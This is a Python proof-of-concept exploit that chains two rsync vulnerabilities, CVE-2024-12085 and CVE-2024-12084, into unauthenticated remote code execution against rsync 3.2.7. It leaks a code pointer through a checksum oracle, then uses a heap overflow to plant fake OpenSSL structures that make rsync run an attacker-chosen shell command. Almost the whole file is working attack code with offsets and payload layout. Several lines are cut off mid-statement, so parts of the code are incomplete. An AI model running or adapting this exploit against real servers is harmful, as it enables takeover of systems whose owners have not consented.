#!/usr/bin/env python3 """ Combined CVE-2024-12085 + CVE-2024-12084 → Unauthenticated RCE on rsync. Phase 1 — Info leak: Leak a .text pointer via the xxh64 checksum oracle. Phase 2 — Heap overflow: Single-connection write-what-where that plants a fake EVP_MD_CTX + EVP_MD in .bss and overwrites ctx_evp. Trigger path (from OpenSSL 3.0.2 libcrypto disassembly): sum_init() → EVP_DigestInit_ex(ctx_evp, ...) → EVP_MD_CTX_reset(ctx_evp) → internal_cleanup(ctx, 0, 0): rdi = ctx[0x38] (algctx → command string) rax = ctx[0x08] (digest → fake EVP_MD) rax = digest[0xb0] (freectx → shell_exec) call *rax → shell_exec(cmd) Layout challenge: sum_buf entries are 40 bytes, but EVP_MD_CTX fields at +0x08 and +0x38 are 48 bytes apart (48 not divisible by 40). Solution: place fake_ctx at slot+6 so [0x08] uses sum1+chain (split 8-byte write) and [0x38] lands on the next entry's sum2. Target: rsync 3.2.7 (unpatched), xxhash + OpenSSL 3.x. Offsets are binary-specific — adjust the constants below. Usage: python3 poc_rce.py rsync://:/ '' """ import struct, sys, time import xxhash import rsync_lib as R # ── Binary offsets (nm /tmp/rsync-3.2.7/rsync) ────────────── CHECK_COMPRESSION_OFFSET = 0x436f7 # set_compression+599 SHELL_EXEC_OFFSET = 0x2b970 # shell_exec() CTX_EVP_OFFSET = 0x9dc28 # EVP_MD_CTX *ctx_evp XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items # ── OpenSSL 3.0.2 struct offsets (from disassembly) ───────── # EVP_MD_CTX (72 = 0x48 bytes): # +0x08 = digest (const EVP_MD*) # +0x10 = engine (ENGINE*) — must be NULL # +0x18 = flags (uint32) — must have 0x402 set # +0x20 = md_data — must be NULL # +0x28 = pctx — skipped if flags & 0x400 # +0x38 = algctx (void*) — 1st arg to freectx # +0x40 = fetched_digest — must be NULL # # EVP_MD: # +0xb0 = freectx function pointer # +0x40 = cleanup callback — skipped if flags & 0x02 # ── Heap overflow constants ───────────────────────────────── CHECKSUM_SEED = 1337 SUM_BUF_SIZE = 40 SUM_BUF_OFF = 22 # offsetof(sum_buf, sum2) TCACHE_MIN, TCACHE_MAX, TCACHE_STEP, TCACHE_SLOTS = 24, 1032, 16, 7 def send_args(rc, compress=False): rc.write_line('--server'); rc.write_line('--sender') rc.write_line('--compress-choice=zlib' if compress else '--no-compress') rc.write_line('--no-iconv') rc.write_line(f'--checksum-seed={CHECKSUM_SEED}') rc.write_line('--checksum') for o in ['--no-crtimes','--no-atimes','--no-owner','--no-group', '--no-devices','--no-specials','--no-links','--no-hard-links', '--no-acls','--no-inc-recursive']: rc.write_line(o) rc.write_line('-r'); rc.write_line('-e.v') # ═══════════════════════════════════════════════════════════ # Phase 1 — Info Leak # ═══════════════════════════════════════════════════════════ def leak_pointer(url): rc = R.connect(url, '31', 'xxh64') send_args(rc); rc.write_line('.'); rc.write_line('./'); rc.write_line('') rc.setup_protocol(); rc.write_raw_int(0) files = rc.read_file_list() tgt = next(f for f in files if R.is_reg(f.mode) and f.size < (1<<17)) ti = files.index(tgt) data = rc.download_file(ti, tgt); rc.close() s1 = R.adler32_rsync(data) h = xxhash.xxh64(seed=CHECKSUM_SEED); h.update(data) s2 = struct.pack('sums to point at &ctx_evp, set s->s2length to the full payload size, then write a CONTIGUOUS payload in a single read_buf call directly to .bss: [ctx_evp ptr][fake EVP_MD_CTX (72B)][fake EVP_MD (~184B)][cmd string] Trigger: sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset → ctx->digest->freectx(ctx->algctx) → shell_exec(cmd) """ shell_exec = base + SHELL_EXEC_OFFSET ctx_evp = base + CTX_EVP_OFFSET print(f"\n[*] Phase 2: heap overflow → RCE") print(f" shell_exec = 0x{shell_exec:x}") print(f" ctx_evp = 0x{ctx_evp:x}") # ── Build the contiguous .bss payload ──────────────── # Written at &ctx_evp by one read_buf(f, sums[extra].sum2, s2length) # # Layout (offsets from &ctx_evp): # 0x000: ctx_evp value → points to fake_ctx (at +8) # 0x008: fake EVP_MD_CTX (72 bytes = 0x48) # +0x08: digest → fake EVP_MD (at payload +0x50) # +0x18: flags = 0x400 (skip pctx cleanup) # +0x38: algctx → cmd string (at payload +0x50+0xb8) # all others: 0 # 0x050: fake EVP_MD (need at least 0xb8 bytes) # +0xb0: freectx = shell_exec # all others: 0 # 0x108: command string + null terminator fake_ctx_off = 8 fake_evp_md_off = fake_ctx_off + 0x48 # 0x50 = 80 cmd_off = fake_evp_md_off + 0xb8 # 0x108 = 264 cmd_bytes = command.encode('latin-1') + b'\x00' payload_size = cmd_off + len(cmd_bytes) fake_ctx_addr = ctx_evp + fake_ctx_off fake_evp_md_addr = ctx_evp + fake_evp_md_off cmd_addr = ctx_evp + cmd_off xfer_sum_nni = base + XFER_SUM_NNI_OFFSET payload = bytearray(payload_size) # ctx_evp pointer → fake_ctx struct.pack_into(' 0) print(f" target ndx={ndx} file={files[ndx].name}") rc.write_ndx(ndx) rc.write_short_int(R.ITEM_TRANSFER_FLAG) # ── Send sum head (for the initial grooming entries) ── rc.write_raw_int(groom_count) # count = 5 rc.write_raw_int(1337) # blength rc.write_raw_int(s2len_initial) # s2length = 64 rc.write_raw_int(0) # remainder # ── Send grooming entries (all use the same overflow payload) ── bulk = bytearray() for j in range(groom_count): bulk += struct.pack(':/ ''") sys.exit(1) url, command = sys.argv[1], sys.argv[2] base, file_sum1, tgt, tgt_ndx = leak_pointer(url) do_rce(url, base, command, file_sum1, tgt, tgt_ndx) if __name__ == '__main__': main()